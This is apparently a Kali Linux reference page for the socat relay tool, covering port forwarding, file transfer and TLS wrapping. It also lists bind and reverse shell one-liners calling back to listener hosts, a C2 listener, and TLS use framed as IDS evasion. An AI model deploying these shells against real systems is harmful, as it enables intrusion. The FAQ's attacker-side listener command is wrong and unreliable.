GO KALI FREE

Socat

Maintaining Access

Intermediatehigh risk

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.

Installation

sudo apt install socat

Basic Syntax

socat [options] <address1> <address2>

Quick Facts

Full Name
SOcket CAT
License
GNU GPL v2
Author
Gerhard Rieger
Written In
C
Platforms
Linux, Windows, macOS, BSD
Category
Maintaining Access / Networking
First Release
2009
Protocols
TCP, UDP, SCTP, UNIX, SSL

Tool Overview

Socat (SOcket CAT) is a powerful command-line utility that establishes two bidirectional byte streams and transfers data between them. It acts as a multipurpose relay tool, capable of connecting virtually any two data endpoints together.

Socat supports a vast array of address types including TCP, UDP, SCTP, UNIX domain sockets, pipes, files, SSL/TLS, and PTY devices. This makes it invaluable for penetration testers who need to create reverse shells, forward ports through firewalls, or tunnel traffic over encrypted channels.

Unlike simpler tools like Netcat, Socat provides advanced features such as SSL encryption, data manipulation, forking for multiple connections, and complex address chaining. It is an essential tool in every security professional's arsenal for network relay and post-exploitation pivoting.

Quick Reference Commands

Verified quick-reference commands for Socat
CommandPurpose
socat -VPrint the version and compiled features.
socat -hhhPrint full address and option help.
socat - TCP:127.0.0.1:8080Connect standard input/output to a local TCP service.
socat - TCP4-LISTEN:8080,bind=127.0.0.1,reuseaddrOpen a loopback-only listener for local testing.
socat multipurpose relay

Common Commands

socat -VPrint the socat version and the features compiled in (OpenSSL, readline, etc.).
socat -hhhShow the full help including every supported address type and option.
socat - TCP:10.10.10.10:4444Connect to a TCP port and bridge it to STDIO, working like a netcat client.
socat - TCP-LISTEN:4444,reuseaddrListen on a TCP port and bridge to STDIO, working like a netcat listener.
socat -v TCP-LISTEN:8080,fork TCP:example.com:80Relay traffic to a remote service while printing all transferred data to stderr.
socat -x -v TCP-LISTEN:8080,fork TCP:example.com:80Same relay but dump the data as hex for protocol inspection.
socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80Run a forwarding relay with verbose diagnostic logging (two -d for more detail).
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashOpen a bind shell that spawns /bin/bash for each incoming TCP connection.
socat TCP:10.10.10.10:4444 EXEC:/bin/bashConnect back to a listener and pipe a bash process to it (reverse shell).
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Attacker-side listener that provides a fully interactive TTY for the incoming shell.
socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneVictim-side reverse shell that allocates a PTY for a fully interactive session.
socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80Forward a local TCP port to a remote host and port (pivot/port forward).
socat UDP-LISTEN:53,reuseaddr,fork UDP:10.10.10.10:53Relay UDP datagrams (e.g. DNS) between a local port and a remote server.
socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sockExpose a local UNIX domain socket (such as the Docker API socket) over TCP.
socat UNIX-LISTEN:/tmp/mysql.sock,fork TCP:10.10.10.10:3306Present a remote TCP service as a local UNIX socket for legacy clients.
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork EXEC:/bin/bashTLS-encrypted bind shell using a PEM certificate, with client verification disabled.
socat OPENSSL:10.10.10.10:4444,verify=0 EXEC:/bin/bashTLS-encrypted reverse shell that connects out to an OpenSSL listener.
socat OPENSSL-LISTEN:8443,cert=shell.pem,verify=0,fork TCP:127.0.0.1:80Wrap a plaintext local service in TLS, exposing it as an HTTPS endpoint.
socat - OPENSSL:example.com:443,verify=0Open an interactive TLS client to a service for manual protocol testing.
socat -u FILE:tosend.dat TCP:10.10.10.10:4444Send a file over a one-way TCP stream to a listening receiver.
socat -u TCP-LISTEN:4444,reuseaddr OPEN:received.dat,creatReceive a one-way TCP stream and write it to a file, creating it if needed.
socat -d -d PTY,raw,echo=0 PTY,raw,echo=0Create a pair of linked pseudo-terminals and print their /dev/pts names.
socat - /dev/ttyUSB0,b115200,raw,echo=0Attach STDIO to a serial device at 115200 baud in raw mode.
socat TCP-LISTEN:8080,reuseaddr,fork SOCKS4A:127.0.0.1:example.com:80,socksport=9050Tunnel a forwarded connection through a SOCKS4a proxy (e.g. Tor on 9050).
socat TCP4-LISTEN:4444,reuseaddr,fork,range=192.168.1.0/24 TCP:10.10.10.10:80Forward a port but only accept clients from an allowed IPv4 range.
socat READLINE,history=/tmp/socat.hist TCP:example.com:80Interactive client with line editing and command history for manual protocol work.

Step-by-Step Guide

  1. 1Launch the listening service on your control machine
  2. 2Trigger the execution command on the compromised host
  3. 3Catch the incoming connection stream
  4. 4Implement SSL parameters if you need to hide the traffic payload
  5. 5Configure routing rules to pivot traffic into deeper networks

Use Cases

Reverse Shell

Establish reverse shell connections from compromised targets back to your listener.

Port Forwarding

Forward TCP/UDP ports through firewalls and NAT boundaries for internal access.

SSL Encryption

Wrap plaintext connections in SSL/TLS to evade detection and IDS systems.

Data Relay

Bidirectional relay between different protocols such as TCP to UNIX sockets or files.

TTY Shell

Create fully interactive TTY shells with proper terminal handling for post-exploitation.

File Transfer

Transfer files between systems by connecting file descriptors to network sockets.

Key Features

People Also Ask

What is the basic syntax for socat?

Socat uses the format: socat [options] <address1> <address2>. Address types include TCP:<host>:<port>, TCP-LISTEN:<port>, UDP:<host>:<port>, OPENSSL:<host>:<port>, EXEC:<program>, FILE:<path>, and UNIX-CONNECT:<socket>. Common options include -d for debug, -v for verbose, -u for unidirectional, and fork for multiple connections.

How does socat compare to SSH tunneling?

SSH tunneling requires a running SSH server and client keys. Socat can create port forwards without any pre-existing infrastructure. SSH provides strong authentication and encryption by default, while socat offers more address types and protocol translation. Use SSH for authenticated tunnels, socat for lightweight or stealthy forwarding.

Can socat be used for C2 listener setup?

Yes, socat can function as a C2 listener. Use socat TCP-LISTEN:<port>,fork,reuseaddr EXEC:/bin/bash for a basic listener, or wrap it with OPENSSL-LISTEN for encrypted communication. The fork option allows handling multiple agent connections. Combine with logging options like -v or -d for traffic monitoring.

How do I use socat for network pivoting?

Socat can pivot traffic by forwarding ports between network segments. Example: socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80 forwards traffic through a compromised host. Chain multiple socat instances or use the SOCKS4A address to route through proxies. The range= option restricts access to specific source IP ranges.

How do I chain socat commands?

Socat supports address chaining by connecting multiple address types in a single command. For example, socat TCP-LISTEN:4444,fork OPENSSL:10.10.10.10:4444 chains a TCP listener to an SSL connection. You can also use -u for one-way transfers and combine file operations with network sockets for complex data flows.

Can socat transfer files between systems?

Yes, socat can transfer files using unidirectional mode. Send: socat -u FILE:target.txt TCP:10.10.10.10:4444. Receive: socat -u TCP-LISTEN:4444,reuseaddr OPEN:received.dat,creat. Add retry= and interval= options for unreliable networks. For bidirectional file sharing, use standard socat without the -u flag.

Related Tools

pwncat

Maintaining Access

pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.

Ligolo-ng

Maintaining Access

Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.

Chisel

Post Exploitation

Chisel is a fast TCP/UDP tunnel utility that encapsulates traffic over an HTTP transport channel, secured via SSH. It is useful for traversing firewall boundaries and pivoting inside network environments.

Netcat

Sniffing & Spoofing

Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.

ProxyChains

Post Exploitation

ProxyChains forces TCP connections made by arbitrary applications to follow user-configured proxy networks (such as TOR or SOCKS4/5 configurations), useful for obfuscation and internal pivoting.

Wireshark

Sniffing & Spoofing

Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.

Related Cybersecurity Guides

Linux · Beginner

SSH Fundamentals: Secure Remote Access and Administration

Learn SSH for secure remote access including key-based authentication, configuration, tunneling, port forwarding, and security hardening.

Networking · Beginner

How to Use WireGuard: Beginner's Guide to Setting Up a WireGuard VPN in Kali Linux

How to use WireGuard: install it on Kali Linux, build your first tunnel, verify it with wg show, and fix common problems — cheat sheet and 31 FAQs.

Linux · Beginner

Linux Commands Explained: Essential Commands with Examples for Beginners

Understand Linux command syntax, options and arguments through practical examples for navigation, files, permissions, processes, networking and text.

Networking · Beginner

Routing Basics: How Data Travels Across Networks

Understand IP routing fundamentals including routing tables, routing protocols, static and dynamic routing, and how data crosses the internet.

Frequently Asked Questions

What is Socat used for?

Socat is a command-line utility that establishes two bidirectional byte streams and transfers data between them. It is used for creating network connections, port forwarding, setting up reverse and bind shells, SSL encryption, and relaying data between different protocols like TCP, UDP, UNIX sockets, and files.

How do I set up a reverse shell with Socat?

On the attacker machine, listen with: socat TCP-L:4444,fork EXEC:/bin/bash. On the target, connect back with: socat TCP:attacker_ip:4444 EXEC:/bin/bash,pty,stderr. For encrypted shells, use OPENSSL-LISTEN and OPENSSL-CONNECT instead of TCP.

Is Socat better than Netcat?

Socat is generally more powerful than Netcat because it supports more address types (SSL, SCTP, UNIX sockets, pipes, files), offers better data manipulation options, and handles more complex relay scenarios. However, Netcat is simpler and more commonly pre-installed on systems.

Can Socat encrypt connections?

Yes, Socat can encrypt connections using OpenSSL by using OPENSSL-LISTEN and OPENSSL-CONNECT address types instead of TCP. You can generate self-signed certificates or use existing PKI infrastructure to create encrypted tunnels for secure communication.

Tags

#maintaining-access#shells#port-forwarding#networking

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.